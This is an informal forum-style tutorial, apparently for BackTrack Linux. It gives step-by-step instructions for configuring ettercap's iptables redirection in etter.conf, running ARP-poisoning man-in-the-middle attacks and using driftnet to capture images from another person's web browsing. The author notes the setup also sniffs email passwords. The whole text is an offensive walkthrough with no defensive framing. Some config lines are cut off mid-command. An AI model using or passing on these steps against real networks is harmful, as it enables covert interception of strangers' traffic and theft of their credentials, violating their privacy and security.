First lets configure etter.conf file. (this also lets you sniff for email passwords)

bt ~ # cd /usr/local/etc
bt etc # nano etter.conf

Go down untill you find this:

#—————
# Linux
#—————

# if you use ipchains:
#redir_command_on = "ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port $
#redir_command_off = "ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port$

# if you use iptables:
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp –dport $
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp –dport$

and change this above part to this:

# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp –dport $
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp –dport$

press f2 then y then enter now open ettercap and driftnet

in driftnet all you have to do is type this:
driftnet -i interface

and in ettercap
sniff—>unifiedsniffing(click ok on your interface
press Ctrl and s at the same time
Mitm—>arpoisoning—->check sniff remote connection
start—>start sniffing

Thats it just wait for the other person to surf site and there pics will show up on your black screen.

hope you guys like.

Thanks for the ppl who help me figure this out.
